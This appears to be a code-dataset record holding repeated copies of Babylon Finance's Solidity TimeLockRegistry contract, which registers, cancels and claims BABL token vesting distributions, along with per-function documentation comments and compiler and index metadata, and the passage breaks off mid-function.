NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 3408, 3802 ] }
3,684
TimeLockRegistry
contracts/token/TimeLockRegistry.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
TimeLockRegistry
contract TimeLockRegistry is Ownable { using LowGasSafeMath for uint256; using Address for address; using AddressArrayUtils for address[]; /* ============ Events ============ */ event Register(address receiver, uint256 distribution); event Cancel(address receiver, uint256 distribution); event Claim(address account, uint256 distribution); /* ============ Modifiers ============ */ modifier onlyBABLToken() { require(msg.sender == address(token), 'only BABL Token'); _; } /* ============ State Variables ============ */ // time locked token TimeLockedToken public token; /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param receiver Account being registered * @param investorType Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingStarting Date When the vesting begins for such token owner * @param distribution Tokens amount that receiver is due to get */ struct Registration { address receiver; uint256 distribution; bool investorType; uint256 vestingStartingDate; } /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param team Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingBegin When the vesting begins for such token owner * @param vestingEnd When the vesting ends for such token owner * @param lastClaim When the last claim was done */ struct TokenVested { bool team; bool cliff; uint256 vestingBegin; uint256 vestingEnd; uint256 lastClaim; } /// @notice A record of token owners under vesting conditions for each account, by index mapping(address => TokenVested) public tokenVested; // mapping from token owners under vesting conditions to BABL due amount (e.g. SAFT addresses, team members, advisors) mapping(address => uint256) public registeredDistributions; // array of all registrations address[] public registrations; // total amount of tokens registered uint256 public totalTokens; // vesting for Team Members uint256 private constant teamVesting = 365 days * 4; // vesting for Investors and Advisors uint256 private constant investorVesting = 365 days * 3; /* ============ Functions ============ */ /* ============ Constructor ============ */ /** * @notice Construct a new Time Lock Registry and gives ownership to sender * @param _token TimeLockedToken contract to use in this registry */ constructor(TimeLockedToken _token) { token = _token; } /* ============ External Functions ============ */ /* ============ External Getter Functions ============ */ /** * Gets registrations * * @return address[] Returns list of registrations */ function getRegistrations() external view returns (address[] memory) { return registrations; } /* =========== Token related Gov Functions ====== */ /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register multiple investors/team in a batch * @param _registrations Registrations to process */ function registerBatch(Registration[] memory _registrations) external onlyOwner { for (uint256 i = 0; i < _registrations.length; i++) { register( _registrations[i].receiver, _registrations[i].distribution, _registrations[i].investorType, _registrations[i].vestingStartingDate ); } } /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register new account under vesting conditions (Team, Advisors, Investors e.g. SAFT purchaser) * @param receiver Address belonging vesting conditions * @param distribution Tokens amount that receiver is due to get */ function register( address receiver, uint256 distribution, bool investorType, uint256 vestingStartingDate ) public onlyOwner { require(receiver != address(0), 'TimeLockRegistry::register: cannot register the zero address'); require( receiver != address(this), 'TimeLockRegistry::register: Time Lock Registry contract cannot be an investor' ); require(distribution != 0, 'TimeLockRegistry::register: Distribution = 0'); require( registeredDistributions[receiver] == 0, 'TimeLockRegistry::register:Distribution for this address is already registered' ); require(block.timestamp >= 1614553200, 'Cannot register earlier than March 2021'); // 1614553200 is UNIX TIME of 2021 March the 1st require(totalTokens.add(distribution) <= IERC20(token).balanceOf(address(this)), 'Not enough tokens'); totalTokens = totalTokens.add(distribution); // register distribution registeredDistributions[receiver] = distribution; registrations.push(receiver); // register token vested conditions TokenVested storage newTokenVested = tokenVested[receiver]; newTokenVested.team = investorType; newTokenVested.vestingBegin = vestingStartingDate; if (newTokenVested.team == true) { newTokenVested.vestingEnd = vestingStartingDate.add(teamVesting); } else { newTokenVested.vestingEnd = vestingStartingDate.add(investorVesting); } newTokenVested.lastClaim = vestingStartingDate; tokenVested[receiver] = newTokenVested; // emit register event emit Register(receiver, distribution); } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel distribution registration * @dev A claim has not to be done earlier * @param receiver Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelRegistration(address receiver) external onlyOwner returns (bool) { require(registeredDistributions[receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[receiver]; // set distribution mapping to 0 delete registeredDistributions[receiver]; // set tokenVested mapping to 0 delete tokenVested[receiver]; // remove from the list of all registrations registrations.remove(receiver); // decrease total tokens totalTokens = totalTokens.sub(amount); // emit cancel event emit Cancel(receiver, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel already delivered tokens. It might only apply when non-completion of vesting period of Team members or Advisors * @dev An automatic override allowance is granted during the claim process * @param account Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelDeliveredTokens(address account) external onlyOwner returns (bool) { uint256 loosingAmount = token.cancelVestedTokens(account); // emit cancel event emit Cancel(account, loosingAmount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Recover tokens in Time Lock Registry smartcontract address by the owner * * @notice Send tokens from smartcontract address to the owner. * It might only apply after a cancellation of vested tokens * @param amount Amount to be recovered by the owner of the Time Lock Registry smartcontract from its balance * @return Whether or not it succeeded */ function transferToOwner(uint256 amount) external onlyOwner returns (bool) { SafeERC20.safeTransfer(token, msg.sender, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Claim locked tokens by the registered account * * @notice Claim tokens due amount. * @dev Claim is done by the user in the TimeLocked contract and the contract is the only allowed to call * this function on behalf of the user to make the claim * @return The amount of tokens registered and delivered after the claim */ function claim(address _receiver) external onlyBABLToken returns (uint256) { require(registeredDistributions[_receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[_receiver]; TokenVested storage claimTokenVested = tokenVested[_receiver]; claimTokenVested.lastClaim = block.timestamp; // set distribution mapping to 0 delete registeredDistributions[_receiver]; // decrease total tokens totalTokens = totalTokens.sub(amount); // register lockup in TimeLockedToken // this will transfer funds from this contract and lock them for sender token.registerLockup( _receiver, amount, claimTokenVested.team, claimTokenVested.vestingBegin, claimTokenVested.vestingEnd, claimTokenVested.lastClaim ); // set tokenVested mapping to 0 delete tokenVested[_receiver]; // emit claim event emit Claim(_receiver, amount); return amount; } /* ============ Getter Functions ============ */ function checkVesting(address address_) external view returns ( bool team, uint256 start, uint256 end, uint256 last ) { TokenVested storage checkTokenVested = tokenVested[address_]; return ( checkTokenVested.team, checkTokenVested.vestingBegin, checkTokenVested.vestingEnd, checkTokenVested.lastClaim ); } function checkRegisteredDistribution(address address_) external view returns (uint256 amount) { return registeredDistributions[address_]; } }
/** * @title TimeLockRegistry * @notice Register Lockups for TimeLocked ERC20 Token BABL (e.g. vesting) * @author Babylon Finance * @dev This contract allows owner to register distributions for a TimeLockedToken * * To register a distribution, register method should be called by the owner. * claim() should be called only by the BABL Token smartcontract (modifier onlyBABLToken) * when any account registered to receive tokens make its own claim * If case of a mistake, owner can cancel registration before the claim is done by the account * * Note this contract address must be setup in the TimeLockedToken's contract pointing * to interact with (e.g. setTimeLockRegistry() function) */
NatSpecMultiLine
register
function register( address receiver, uint256 distribution, bool investorType, uint256 vestingStartingDate ) public onlyOwner { require(receiver != address(0), 'TimeLockRegistry::register: cannot register the zero address'); require( receiver != address(this), 'TimeLockRegistry::register: Time Lock Registry contract cannot be an investor' ); require(distribution != 0, 'TimeLockRegistry::register: Distribution = 0'); require( registeredDistributions[receiver] == 0, 'TimeLockRegistry::register:Distribution for this address is already registered' ); require(block.timestamp >= 1614553200, 'Cannot register earlier than March 2021'); // 1614553200 is UNIX TIME of 2021 March the 1st require(totalTokens.add(distribution) <= IERC20(token).balanceOf(address(this)), 'Not enough tokens'); totalTokens = totalTokens.add(distribution); // register distribution registeredDistributions[receiver] = distribution; registrations.push(receiver); // register token vested conditions TokenVested storage newTokenVested = tokenVested[receiver]; newTokenVested.team = investorType; newTokenVested.vestingBegin = vestingStartingDate; if (newTokenVested.team == true) { newTokenVested.vestingEnd = vestingStartingDate.add(teamVesting); } else { newTokenVested.vestingEnd = vestingStartingDate.add(investorVesting); } newTokenVested.lastClaim = vestingStartingDate; tokenVested[receiver] = newTokenVested; // emit register event emit Register(receiver, distribution); }
/** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register new account under vesting conditions (Team, Advisors, Investors e.g. SAFT purchaser) * @param receiver Address belonging vesting conditions * @param distribution Tokens amount that receiver is due to get */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 4103, 5861 ] }
3,685
TimeLockRegistry
contracts/token/TimeLockRegistry.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
TimeLockRegistry
contract TimeLockRegistry is Ownable { using LowGasSafeMath for uint256; using Address for address; using AddressArrayUtils for address[]; /* ============ Events ============ */ event Register(address receiver, uint256 distribution); event Cancel(address receiver, uint256 distribution); event Claim(address account, uint256 distribution); /* ============ Modifiers ============ */ modifier onlyBABLToken() { require(msg.sender == address(token), 'only BABL Token'); _; } /* ============ State Variables ============ */ // time locked token TimeLockedToken public token; /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param receiver Account being registered * @param investorType Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingStarting Date When the vesting begins for such token owner * @param distribution Tokens amount that receiver is due to get */ struct Registration { address receiver; uint256 distribution; bool investorType; uint256 vestingStartingDate; } /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param team Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingBegin When the vesting begins for such token owner * @param vestingEnd When the vesting ends for such token owner * @param lastClaim When the last claim was done */ struct TokenVested { bool team; bool cliff; uint256 vestingBegin; uint256 vestingEnd; uint256 lastClaim; } /// @notice A record of token owners under vesting conditions for each account, by index mapping(address => TokenVested) public tokenVested; // mapping from token owners under vesting conditions to BABL due amount (e.g. SAFT addresses, team members, advisors) mapping(address => uint256) public registeredDistributions; // array of all registrations address[] public registrations; // total amount of tokens registered uint256 public totalTokens; // vesting for Team Members uint256 private constant teamVesting = 365 days * 4; // vesting for Investors and Advisors uint256 private constant investorVesting = 365 days * 3; /* ============ Functions ============ */ /* ============ Constructor ============ */ /** * @notice Construct a new Time Lock Registry and gives ownership to sender * @param _token TimeLockedToken contract to use in this registry */ constructor(TimeLockedToken _token) { token = _token; } /* ============ External Functions ============ */ /* ============ External Getter Functions ============ */ /** * Gets registrations * * @return address[] Returns list of registrations */ function getRegistrations() external view returns (address[] memory) { return registrations; } /* =========== Token related Gov Functions ====== */ /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register multiple investors/team in a batch * @param _registrations Registrations to process */ function registerBatch(Registration[] memory _registrations) external onlyOwner { for (uint256 i = 0; i < _registrations.length; i++) { register( _registrations[i].receiver, _registrations[i].distribution, _registrations[i].investorType, _registrations[i].vestingStartingDate ); } } /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register new account under vesting conditions (Team, Advisors, Investors e.g. SAFT purchaser) * @param receiver Address belonging vesting conditions * @param distribution Tokens amount that receiver is due to get */ function register( address receiver, uint256 distribution, bool investorType, uint256 vestingStartingDate ) public onlyOwner { require(receiver != address(0), 'TimeLockRegistry::register: cannot register the zero address'); require( receiver != address(this), 'TimeLockRegistry::register: Time Lock Registry contract cannot be an investor' ); require(distribution != 0, 'TimeLockRegistry::register: Distribution = 0'); require( registeredDistributions[receiver] == 0, 'TimeLockRegistry::register:Distribution for this address is already registered' ); require(block.timestamp >= 1614553200, 'Cannot register earlier than March 2021'); // 1614553200 is UNIX TIME of 2021 March the 1st require(totalTokens.add(distribution) <= IERC20(token).balanceOf(address(this)), 'Not enough tokens'); totalTokens = totalTokens.add(distribution); // register distribution registeredDistributions[receiver] = distribution; registrations.push(receiver); // register token vested conditions TokenVested storage newTokenVested = tokenVested[receiver]; newTokenVested.team = investorType; newTokenVested.vestingBegin = vestingStartingDate; if (newTokenVested.team == true) { newTokenVested.vestingEnd = vestingStartingDate.add(teamVesting); } else { newTokenVested.vestingEnd = vestingStartingDate.add(investorVesting); } newTokenVested.lastClaim = vestingStartingDate; tokenVested[receiver] = newTokenVested; // emit register event emit Register(receiver, distribution); } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel distribution registration * @dev A claim has not to be done earlier * @param receiver Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelRegistration(address receiver) external onlyOwner returns (bool) { require(registeredDistributions[receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[receiver]; // set distribution mapping to 0 delete registeredDistributions[receiver]; // set tokenVested mapping to 0 delete tokenVested[receiver]; // remove from the list of all registrations registrations.remove(receiver); // decrease total tokens totalTokens = totalTokens.sub(amount); // emit cancel event emit Cancel(receiver, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel already delivered tokens. It might only apply when non-completion of vesting period of Team members or Advisors * @dev An automatic override allowance is granted during the claim process * @param account Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelDeliveredTokens(address account) external onlyOwner returns (bool) { uint256 loosingAmount = token.cancelVestedTokens(account); // emit cancel event emit Cancel(account, loosingAmount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Recover tokens in Time Lock Registry smartcontract address by the owner * * @notice Send tokens from smartcontract address to the owner. * It might only apply after a cancellation of vested tokens * @param amount Amount to be recovered by the owner of the Time Lock Registry smartcontract from its balance * @return Whether or not it succeeded */ function transferToOwner(uint256 amount) external onlyOwner returns (bool) { SafeERC20.safeTransfer(token, msg.sender, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Claim locked tokens by the registered account * * @notice Claim tokens due amount. * @dev Claim is done by the user in the TimeLocked contract and the contract is the only allowed to call * this function on behalf of the user to make the claim * @return The amount of tokens registered and delivered after the claim */ function claim(address _receiver) external onlyBABLToken returns (uint256) { require(registeredDistributions[_receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[_receiver]; TokenVested storage claimTokenVested = tokenVested[_receiver]; claimTokenVested.lastClaim = block.timestamp; // set distribution mapping to 0 delete registeredDistributions[_receiver]; // decrease total tokens totalTokens = totalTokens.sub(amount); // register lockup in TimeLockedToken // this will transfer funds from this contract and lock them for sender token.registerLockup( _receiver, amount, claimTokenVested.team, claimTokenVested.vestingBegin, claimTokenVested.vestingEnd, claimTokenVested.lastClaim ); // set tokenVested mapping to 0 delete tokenVested[_receiver]; // emit claim event emit Claim(_receiver, amount); return amount; } /* ============ Getter Functions ============ */ function checkVesting(address address_) external view returns ( bool team, uint256 start, uint256 end, uint256 last ) { TokenVested storage checkTokenVested = tokenVested[address_]; return ( checkTokenVested.team, checkTokenVested.vestingBegin, checkTokenVested.vestingEnd, checkTokenVested.lastClaim ); } function checkRegisteredDistribution(address address_) external view returns (uint256 amount) { return registeredDistributions[address_]; } }
/** * @title TimeLockRegistry * @notice Register Lockups for TimeLocked ERC20 Token BABL (e.g. vesting) * @author Babylon Finance * @dev This contract allows owner to register distributions for a TimeLockedToken * * To register a distribution, register method should be called by the owner. * claim() should be called only by the BABL Token smartcontract (modifier onlyBABLToken) * when any account registered to receive tokens make its own claim * If case of a mistake, owner can cancel registration before the claim is done by the account * * Note this contract address must be setup in the TimeLockedToken's contract pointing * to interact with (e.g. setTimeLockRegistry() function) */
NatSpecMultiLine
cancelRegistration
function cancelRegistration(address receiver) external onlyOwner returns (bool) { require(registeredDistributions[receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[receiver]; // set distribution mapping to 0 delete registeredDistributions[receiver]; // set tokenVested mapping to 0 delete tokenVested[receiver]; // remove from the list of all registrations registrations.remove(receiver); // decrease total tokens totalTokens = totalTokens.sub(amount); // emit cancel event emit Cancel(receiver, amount); return true; }
/** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel distribution registration * @dev A claim has not to be done earlier * @param receiver Address that should have it's distribution removed * @return Whether or not it succeeded */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 6216, 6921 ] }
3,686
TimeLockRegistry
contracts/token/TimeLockRegistry.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
TimeLockRegistry
contract TimeLockRegistry is Ownable { using LowGasSafeMath for uint256; using Address for address; using AddressArrayUtils for address[]; /* ============ Events ============ */ event Register(address receiver, uint256 distribution); event Cancel(address receiver, uint256 distribution); event Claim(address account, uint256 distribution); /* ============ Modifiers ============ */ modifier onlyBABLToken() { require(msg.sender == address(token), 'only BABL Token'); _; } /* ============ State Variables ============ */ // time locked token TimeLockedToken public token; /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param receiver Account being registered * @param investorType Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingStarting Date When the vesting begins for such token owner * @param distribution Tokens amount that receiver is due to get */ struct Registration { address receiver; uint256 distribution; bool investorType; uint256 vestingStartingDate; } /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param team Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingBegin When the vesting begins for such token owner * @param vestingEnd When the vesting ends for such token owner * @param lastClaim When the last claim was done */ struct TokenVested { bool team; bool cliff; uint256 vestingBegin; uint256 vestingEnd; uint256 lastClaim; } /// @notice A record of token owners under vesting conditions for each account, by index mapping(address => TokenVested) public tokenVested; // mapping from token owners under vesting conditions to BABL due amount (e.g. SAFT addresses, team members, advisors) mapping(address => uint256) public registeredDistributions; // array of all registrations address[] public registrations; // total amount of tokens registered uint256 public totalTokens; // vesting for Team Members uint256 private constant teamVesting = 365 days * 4; // vesting for Investors and Advisors uint256 private constant investorVesting = 365 days * 3; /* ============ Functions ============ */ /* ============ Constructor ============ */ /** * @notice Construct a new Time Lock Registry and gives ownership to sender * @param _token TimeLockedToken contract to use in this registry */ constructor(TimeLockedToken _token) { token = _token; } /* ============ External Functions ============ */ /* ============ External Getter Functions ============ */ /** * Gets registrations * * @return address[] Returns list of registrations */ function getRegistrations() external view returns (address[] memory) { return registrations; } /* =========== Token related Gov Functions ====== */ /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register multiple investors/team in a batch * @param _registrations Registrations to process */ function registerBatch(Registration[] memory _registrations) external onlyOwner { for (uint256 i = 0; i < _registrations.length; i++) { register( _registrations[i].receiver, _registrations[i].distribution, _registrations[i].investorType, _registrations[i].vestingStartingDate ); } } /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register new account under vesting conditions (Team, Advisors, Investors e.g. SAFT purchaser) * @param receiver Address belonging vesting conditions * @param distribution Tokens amount that receiver is due to get */ function register( address receiver, uint256 distribution, bool investorType, uint256 vestingStartingDate ) public onlyOwner { require(receiver != address(0), 'TimeLockRegistry::register: cannot register the zero address'); require( receiver != address(this), 'TimeLockRegistry::register: Time Lock Registry contract cannot be an investor' ); require(distribution != 0, 'TimeLockRegistry::register: Distribution = 0'); require( registeredDistributions[receiver] == 0, 'TimeLockRegistry::register:Distribution for this address is already registered' ); require(block.timestamp >= 1614553200, 'Cannot register earlier than March 2021'); // 1614553200 is UNIX TIME of 2021 March the 1st require(totalTokens.add(distribution) <= IERC20(token).balanceOf(address(this)), 'Not enough tokens'); totalTokens = totalTokens.add(distribution); // register distribution registeredDistributions[receiver] = distribution; registrations.push(receiver); // register token vested conditions TokenVested storage newTokenVested = tokenVested[receiver]; newTokenVested.team = investorType; newTokenVested.vestingBegin = vestingStartingDate; if (newTokenVested.team == true) { newTokenVested.vestingEnd = vestingStartingDate.add(teamVesting); } else { newTokenVested.vestingEnd = vestingStartingDate.add(investorVesting); } newTokenVested.lastClaim = vestingStartingDate; tokenVested[receiver] = newTokenVested; // emit register event emit Register(receiver, distribution); } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel distribution registration * @dev A claim has not to be done earlier * @param receiver Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelRegistration(address receiver) external onlyOwner returns (bool) { require(registeredDistributions[receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[receiver]; // set distribution mapping to 0 delete registeredDistributions[receiver]; // set tokenVested mapping to 0 delete tokenVested[receiver]; // remove from the list of all registrations registrations.remove(receiver); // decrease total tokens totalTokens = totalTokens.sub(amount); // emit cancel event emit Cancel(receiver, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel already delivered tokens. It might only apply when non-completion of vesting period of Team members or Advisors * @dev An automatic override allowance is granted during the claim process * @param account Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelDeliveredTokens(address account) external onlyOwner returns (bool) { uint256 loosingAmount = token.cancelVestedTokens(account); // emit cancel event emit Cancel(account, loosingAmount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Recover tokens in Time Lock Registry smartcontract address by the owner * * @notice Send tokens from smartcontract address to the owner. * It might only apply after a cancellation of vested tokens * @param amount Amount to be recovered by the owner of the Time Lock Registry smartcontract from its balance * @return Whether or not it succeeded */ function transferToOwner(uint256 amount) external onlyOwner returns (bool) { SafeERC20.safeTransfer(token, msg.sender, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Claim locked tokens by the registered account * * @notice Claim tokens due amount. * @dev Claim is done by the user in the TimeLocked contract and the contract is the only allowed to call * this function on behalf of the user to make the claim * @return The amount of tokens registered and delivered after the claim */ function claim(address _receiver) external onlyBABLToken returns (uint256) { require(registeredDistributions[_receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[_receiver]; TokenVested storage claimTokenVested = tokenVested[_receiver]; claimTokenVested.lastClaim = block.timestamp; // set distribution mapping to 0 delete registeredDistributions[_receiver]; // decrease total tokens totalTokens = totalTokens.sub(amount); // register lockup in TimeLockedToken // this will transfer funds from this contract and lock them for sender token.registerLockup( _receiver, amount, claimTokenVested.team, claimTokenVested.vestingBegin, claimTokenVested.vestingEnd, claimTokenVested.lastClaim ); // set tokenVested mapping to 0 delete tokenVested[_receiver]; // emit claim event emit Claim(_receiver, amount); return amount; } /* ============ Getter Functions ============ */ function checkVesting(address address_) external view returns ( bool team, uint256 start, uint256 end, uint256 last ) { TokenVested storage checkTokenVested = tokenVested[address_]; return ( checkTokenVested.team, checkTokenVested.vestingBegin, checkTokenVested.vestingEnd, checkTokenVested.lastClaim ); } function checkRegisteredDistribution(address address_) external view returns (uint256 amount) { return registeredDistributions[address_]; } }
/** * @title TimeLockRegistry * @notice Register Lockups for TimeLocked ERC20 Token BABL (e.g. vesting) * @author Babylon Finance * @dev This contract allows owner to register distributions for a TimeLockedToken * * To register a distribution, register method should be called by the owner. * claim() should be called only by the BABL Token smartcontract (modifier onlyBABLToken) * when any account registered to receive tokens make its own claim * If case of a mistake, owner can cancel registration before the claim is done by the account * * Note this contract address must be setup in the TimeLockedToken's contract pointing * to interact with (e.g. setTimeLockRegistry() function) */
NatSpecMultiLine
cancelDeliveredTokens
function cancelDeliveredTokens(address account) external onlyOwner returns (bool) { uint256 loosingAmount = token.cancelVestedTokens(account); // emit cancel event emit Cancel(account, loosingAmount); return true; }
/** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel already delivered tokens. It might only apply when non-completion of vesting period of Team members or Advisors * @dev An automatic override allowance is granted during the claim process * @param account Address that should have it's distribution removed * @return Whether or not it succeeded */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 7394, 7650 ] }
3,687
TimeLockRegistry
contracts/token/TimeLockRegistry.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
TimeLockRegistry
contract TimeLockRegistry is Ownable { using LowGasSafeMath for uint256; using Address for address; using AddressArrayUtils for address[]; /* ============ Events ============ */ event Register(address receiver, uint256 distribution); event Cancel(address receiver, uint256 distribution); event Claim(address account, uint256 distribution); /* ============ Modifiers ============ */ modifier onlyBABLToken() { require(msg.sender == address(token), 'only BABL Token'); _; } /* ============ State Variables ============ */ // time locked token TimeLockedToken public token; /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param receiver Account being registered * @param investorType Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingStarting Date When the vesting begins for such token owner * @param distribution Tokens amount that receiver is due to get */ struct Registration { address receiver; uint256 distribution; bool investorType; uint256 vestingStartingDate; } /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param team Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingBegin When the vesting begins for such token owner * @param vestingEnd When the vesting ends for such token owner * @param lastClaim When the last claim was done */ struct TokenVested { bool team; bool cliff; uint256 vestingBegin; uint256 vestingEnd; uint256 lastClaim; } /// @notice A record of token owners under vesting conditions for each account, by index mapping(address => TokenVested) public tokenVested; // mapping from token owners under vesting conditions to BABL due amount (e.g. SAFT addresses, team members, advisors) mapping(address => uint256) public registeredDistributions; // array of all registrations address[] public registrations; // total amount of tokens registered uint256 public totalTokens; // vesting for Team Members uint256 private constant teamVesting = 365 days * 4; // vesting for Investors and Advisors uint256 private constant investorVesting = 365 days * 3; /* ============ Functions ============ */ /* ============ Constructor ============ */ /** * @notice Construct a new Time Lock Registry and gives ownership to sender * @param _token TimeLockedToken contract to use in this registry */ constructor(TimeLockedToken _token) { token = _token; } /* ============ External Functions ============ */ /* ============ External Getter Functions ============ */ /** * Gets registrations * * @return address[] Returns list of registrations */ function getRegistrations() external view returns (address[] memory) { return registrations; } /* =========== Token related Gov Functions ====== */ /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register multiple investors/team in a batch * @param _registrations Registrations to process */ function registerBatch(Registration[] memory _registrations) external onlyOwner { for (uint256 i = 0; i < _registrations.length; i++) { register( _registrations[i].receiver, _registrations[i].distribution, _registrations[i].investorType, _registrations[i].vestingStartingDate ); } } /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register new account under vesting conditions (Team, Advisors, Investors e.g. SAFT purchaser) * @param receiver Address belonging vesting conditions * @param distribution Tokens amount that receiver is due to get */ function register( address receiver, uint256 distribution, bool investorType, uint256 vestingStartingDate ) public onlyOwner { require(receiver != address(0), 'TimeLockRegistry::register: cannot register the zero address'); require( receiver != address(this), 'TimeLockRegistry::register: Time Lock Registry contract cannot be an investor' ); require(distribution != 0, 'TimeLockRegistry::register: Distribution = 0'); require( registeredDistributions[receiver] == 0, 'TimeLockRegistry::register:Distribution for this address is already registered' ); require(block.timestamp >= 1614553200, 'Cannot register earlier than March 2021'); // 1614553200 is UNIX TIME of 2021 March the 1st require(totalTokens.add(distribution) <= IERC20(token).balanceOf(address(this)), 'Not enough tokens'); totalTokens = totalTokens.add(distribution); // register distribution registeredDistributions[receiver] = distribution; registrations.push(receiver); // register token vested conditions TokenVested storage newTokenVested = tokenVested[receiver]; newTokenVested.team = investorType; newTokenVested.vestingBegin = vestingStartingDate; if (newTokenVested.team == true) { newTokenVested.vestingEnd = vestingStartingDate.add(teamVesting); } else { newTokenVested.vestingEnd = vestingStartingDate.add(investorVesting); } newTokenVested.lastClaim = vestingStartingDate; tokenVested[receiver] = newTokenVested; // emit register event emit Register(receiver, distribution); } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel distribution registration * @dev A claim has not to be done earlier * @param receiver Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelRegistration(address receiver) external onlyOwner returns (bool) { require(registeredDistributions[receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[receiver]; // set distribution mapping to 0 delete registeredDistributions[receiver]; // set tokenVested mapping to 0 delete tokenVested[receiver]; // remove from the list of all registrations registrations.remove(receiver); // decrease total tokens totalTokens = totalTokens.sub(amount); // emit cancel event emit Cancel(receiver, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel already delivered tokens. It might only apply when non-completion of vesting period of Team members or Advisors * @dev An automatic override allowance is granted during the claim process * @param account Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelDeliveredTokens(address account) external onlyOwner returns (bool) { uint256 loosingAmount = token.cancelVestedTokens(account); // emit cancel event emit Cancel(account, loosingAmount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Recover tokens in Time Lock Registry smartcontract address by the owner * * @notice Send tokens from smartcontract address to the owner. * It might only apply after a cancellation of vested tokens * @param amount Amount to be recovered by the owner of the Time Lock Registry smartcontract from its balance * @return Whether or not it succeeded */ function transferToOwner(uint256 amount) external onlyOwner returns (bool) { SafeERC20.safeTransfer(token, msg.sender, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Claim locked tokens by the registered account * * @notice Claim tokens due amount. * @dev Claim is done by the user in the TimeLocked contract and the contract is the only allowed to call * this function on behalf of the user to make the claim * @return The amount of tokens registered and delivered after the claim */ function claim(address _receiver) external onlyBABLToken returns (uint256) { require(registeredDistributions[_receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[_receiver]; TokenVested storage claimTokenVested = tokenVested[_receiver]; claimTokenVested.lastClaim = block.timestamp; // set distribution mapping to 0 delete registeredDistributions[_receiver]; // decrease total tokens totalTokens = totalTokens.sub(amount); // register lockup in TimeLockedToken // this will transfer funds from this contract and lock them for sender token.registerLockup( _receiver, amount, claimTokenVested.team, claimTokenVested.vestingBegin, claimTokenVested.vestingEnd, claimTokenVested.lastClaim ); // set tokenVested mapping to 0 delete tokenVested[_receiver]; // emit claim event emit Claim(_receiver, amount); return amount; } /* ============ Getter Functions ============ */ function checkVesting(address address_) external view returns ( bool team, uint256 start, uint256 end, uint256 last ) { TokenVested storage checkTokenVested = tokenVested[address_]; return ( 